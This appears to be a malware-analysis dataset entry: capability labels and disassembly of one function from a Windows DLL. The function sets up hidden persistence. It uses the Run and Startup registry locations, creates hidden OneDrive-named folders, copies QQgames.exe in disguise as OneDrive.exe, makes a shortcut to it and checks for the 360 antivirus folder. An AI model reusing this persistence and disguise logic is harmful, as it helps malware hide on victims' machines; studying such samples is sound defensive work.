Function at 0x180003460
Capabilities:
Check if file exists
Copy file
Create directory
Get common file path
Get file attributes
Set file attributes

Disassembly:
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x800]
sub rsp, 0x900
mov qword [rbp + 0x1c0], 0xfffffffffffffffe
mov qword [rsp + 0x938], rbx
mov qword [rbp + 0x188], 7
xor esi, esi
mov qword [rbp + 0x180], rsi
mov word [rbp + 0x170], si
lea r8d, [rsi + 0x45]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
lea rcx, [rbp + 0x170]
call fcn.180005cb0
nop
mov qword [rbp + 0x110], 7
mov qword [rbp + 0x108], rsi
mov word [rbp + 0xf8], si
lea r8d, [rsi + 7]
lea rdx, str.Startup
lea rcx, [rbp + 0xf8]
call fcn.180005cb0
nop
mov qword [rbp + 0x48], 7
mov qword [rbp + 0x40], rsi
mov word [rbp + 0x30], si
lea r8d, [rsi + 0x2d]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea rcx, [rbp + 0x30]
call fcn.180005cb0
nop
mov qword [rbp + 0x20], 7
mov qword [rbp + 0x18], rsi
mov word [rbp + 8], si
lea r8d, [rsi + 0xa]
lea rdx, [0x18002fd80]
lea rcx, [rbp + 8]
call fcn.180005cb0
nop
mov eax, dword [0x18002b870]
mov dword [rbp - 0x58], eax
mov eax, dword [0x18002b874]
mov dword [rbp - 0x54], eax
mov eax, dword [0x18002b878]
mov dword [rbp - 0x50], eax
mov eax, dword [0x18002b87c]
mov dword [rbp - 0x4c], eax
mov qword [rbp + 0x828], rsi
lea r9, [rbp + 0x828]
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x58]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov r8, qword [rbp + 0x828]
lea rdx, str._sOneDrive
lea rcx, [rbp + 0x5f0]
call fcn.18000bf60
xor edx, edx
lea rcx, [rbp + 0x5f0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, [rbp + 0x5f0]
lea rdx, str._scache
lea rcx, [rbp + 0x1d0]
call fcn.18000bf60
xor edx, edx
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, [rbp + 0x1d0]
lea rdx, str._sRun
lea rcx, [rbp + 0x3e0]
call fcn.18000bf60
xor edx, edx
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [rbp + 0x5f0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180003614
or eax, 2
mov edx, eax
lea rcx, [rbp + 0x5f0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180003638
or eax, 2
mov edx, eax
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov qword [rbp - 8], 7
mov qword [rbp - 0x10], rsi
mov word [rbp - 0x20], si
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x1d0]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp - 0x20]
call fcn.180005cb0
nop
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x30]
call fcn.18000b780
nop
lea r8, str.OneDrive.exe
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.18000ba70
nop
cmp qword [rsp + 0x48], 8
jb 0x1800036a6
mov rcx, qword [rsp + 0x30]
call fcn.180012658
mov qword [rsp + 0x48], 7
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x198]
call fcn.18000b780
nop
lea r8, [0x18002fdc8]
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.18000ba70
nop
cmp qword [rbp + 0x1b0], 8
jb 0x1800036f7
mov rcx, qword [rbp + 0x198]
call fcn.180012658
mov qword [rbp + 0x1b0], 7
mov qword [rbp + 0x1a8], rsi
mov word [rbp + 0x198], si
mov qword [rbp - 0x30], 7
mov qword [rbp - 0x38], rsi
mov word [rbp - 0x48], si
mov r8d, 0x25
lea rdx, str.C:UsersPublicDownloadsQQgames.exe
lea rcx, [rbp - 0x48]
call fcn.180005cb0
nop
lea rbx, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae rbx, qword [rbp - 0x48]
lea rdi, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae rdi, qword [rsp + 0x58]
call fcn.180001990
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CopyFileW]
call fcn.1800018f0
mov qword [rsp + 0x48], 7
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x3e0]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rbp + 0x3e0]
lea rcx, [rsp + 0x30]
call fcn.180005cb0
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0xd0]
call fcn.180002360
nop
cmp qword [rsp + 0x48], 8
jb 0x1800037cf
mov rcx, qword [rsp + 0x30]
call fcn.180012658
mov qword [rsp + 0x48], 7
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
lea rdx, [rbp + 0x820]
mov qword [rsp + 0x20], rdx
lea r9, [0x18002b860]
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [0x18002b880]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x18000389b
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae rdx, qword [rsp + 0x58]
mov rcx, qword [rbp + 0x820]
mov rax, qword [rcx]
call qword [rax + 0xa0]
mov rcx, qword [rbp + 0x820]
mov rax, qword [rcx]
lea r8, [rbp + 0x830]
lea rdx, [0x18002b890]
call qword [rax]
test eax, eax
js 0x18000388e
lea rdx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 8
cmovae rdx, qword [rbp + 0xd0]
mov rcx, qword [rbp + 0x830]
mov rax, qword [rcx]
mov r8d, 1
call qword [rax + 0x30]
mov rcx, qword [rbp + 0x830]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x820]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdi, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae rdi, qword [rsp + 0x58]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1800038ce
or eax, 2
mov edx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rdx, [0x18002f770]
lea rcx, str.C:UsersPublicDownloads1.dll
call fcn.1800121c4
test rax, rax
jne 0x1800038f4
lea rcx, str._nERR:_unable_to_open_input_file_n
call fcn.180012028
jmp 0x180003903
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.180001a30
lea rdi, [rbp + 0x80]
cmp qword [rbp + 0x98], 8
cmovae rdi, qword [rbp + 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180003936
or eax, 2
mov edx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov qword [rbp + 0x70], 7
mov qword [rbp + 0x68], rsi
mov word [rbp + 0x58], si
mov r8d, 7
lea rdx, [0x18002f958]
lea rcx, [rbp + 0x58]
call fcn.180005cb0
nop
lea rcx, [rbp + 0x148]
call fcn.1800023c0
nop
lea r8, [rbp + 0x148]
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x120]
call fcn.18000bf90
nop
mov qword [rbp + 0xc0], 7
mov qword [rbp + 0xb8], rsi
mov word [rbp + 0xa8], si
mov r8d, 7
lea rdx, str.Console
lea rcx, [rbp + 0xa8]
call fcn.180005cb0
nop
mov qword [rbp - 0x68], 7
mov qword [rbp - 0x70], rsi
mov word [rbp - 0x80], si
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x1d0]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp - 0x80]
call fcn.180005cb0
nop
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 8
cmovae rcx, qword [rbp - 0x80]
mov rax, qword [rbp - 0x70]
cmp word [rcx + rax*2 - 2], 0x5c
je 0x180003a1d
mov r8d, 1
lea rdx, [0x18002f968]
lea rcx, [rbp - 0x80]
call fcn.180008330
mov r8d, 6
lea rdx, str.bb.jpg
lea rcx, [rbp - 0x80]
call fcn.180008330
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 8
cmovae rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180003a67
test al, 0x10
jne 0x180003a67
lea r8, [rbp - 0x80]
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0xa8]
call fcn.180002080
lea rcx, str.C:Program_Files__x86_360_
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180003ad4
test al, 0x10
je 0x180003ad4
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae rdx, qword [rsp + 0x58]
mov qword [rsp + 0x48], 7
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rsp + 0x30]
call fcn.180005cb0
nop
lea r8, [rsp + 0x30]
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x30]
call fcn.180001c30
nop
jmp 0x180003b29
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae rdx, qword [rsp + 0x58]
mov qword [rsp + 0x48], 7
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rsp + 0x30]
call fcn.180005cb0
nop
lea r8, [rsp + 0x30]
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x30]
call fcn.180001c30
nop
cmp qword [rsp + 0x48], 8
jb 0x180003b3b
mov rcx, qword [rsp + 0x30]
call fcn.180012658
call fcn.1800028d0
nop
cmp qword [rbp - 0x68], 8
jb 0x180003b51
mov rcx, qword [rbp - 0x80]
call fcn.180012658
mov qword [rbp - 0x68], 7
mov qword [rbp - 0x70], rsi
mov word [rbp - 0x80], si
cmp qword [rbp + 0xc0], 8
jb 0x180003b77
mov rcx, qword [rbp + 0xa8]
call fcn.180012658
mov qword [rbp + 0xc0], 7
mov qword [rbp + 0xb8], rsi
mov word [rbp + 0xa8], si
cmp qword [rbp + 0x138], 8
jb 0x180003ba6
mov rcx, qword [rbp + 0x120]
call fcn.180012658
mov qword [rbp + 0x138], 7
mov qword [rbp + 0x130], rsi
mov word [rbp + 0x120], si
cmp qword [rbp + 0x160], 8
jb 0x180003bd5
mov rcx, qword [rbp + 0x148]
call fcn.180012658
mov qword [rbp + 0x160], 7
mov qword [rbp + 0x158], rsi
mov word [rbp + 0x148], si
cmp qword [rbp + 0x70], 8
jb 0x180003bfe
mov rcx, qword [rbp + 0x58]
call fcn.180012658
mov qword [rbp + 0x70], 7
mov qword [rbp + 0x68], rsi
mov word [rbp + 0x58], si
cmp qword [rbp + 0xe8], 8
jb 0x180003c24
mov rcx, qword [rbp + 0xd0]
call fcn.180012658
mov qword [rbp + 0xe8], 7
mov qword [rbp + 0xe0], rsi
mov word [rbp + 0xd0], si
cmp qword [rbp - 0x30], 8
jb 0x180003c4d
mov rcx, qword [rbp - 0x48]
call fcn.180012658
mov qword [rbp - 0x30], 7
mov qword [rbp - 0x38], rsi
mov word [rbp - 0x48], si
cmp qword [rbp + 0x98], 8
jb 0x180003c73
mov rcx, qword [rbp + 0x80]
call fcn.180012658
mov qword [rbp + 0x98], 7
mov qword [rbp + 0x90], rsi
mov word [rbp + 0x80], si
cmp qword [rsp + 0x70], 8
jb 0x180003c9e
mov rcx, qword [rsp + 0x58]
call fcn.180012658
mov qword [rsp + 0x70], 7
mov qword [rsp + 0x68], rsi
mov word [rsp + 0x58], si
cmp qword [rbp - 8], 8
jb 0x180003cc1
mov rcx, qword [rbp - 0x20]
call fcn.180012658
mov qword [rbp - 8], 7
mov qword [rbp - 0x10], rsi
mov word [rbp - 0x20], si
cmp qword [rbp + 0x20], 8
jb 0x180003ce1
mov rcx, qword [rbp + 8]
call fcn.180012658
mov qword [rbp + 0x20], 7
mov qword [rbp + 0x18], rsi
mov word [rbp + 8], si
cmp qword [rbp + 0x48], 8
jb 0x180003d01
mov rcx, qword [rbp + 0x30]
call fcn.180012658
mov qword [rbp + 0x48], 7
mov qword [rbp + 0x40], rsi
mov word [rbp + 0x30], si
cmp qword [rbp + 0x110], 8
jb 0x180003d27
mov rcx, qword [rbp + 0xf8]
call fcn.180012658
mov qword [rbp + 0x110], 7
mov qword [rbp + 0x108], rsi
mov word [rbp + 0xf8], si
cmp qword [rbp + 0x188], 8
jb 0x180003d56
mov rcx, qword [rbp + 0x170]
call fcn.180012658
mov rbx, qword [rsp + 0x938]
add rsp, 0x900
pop rdi
pop rsi
pop rbp
ret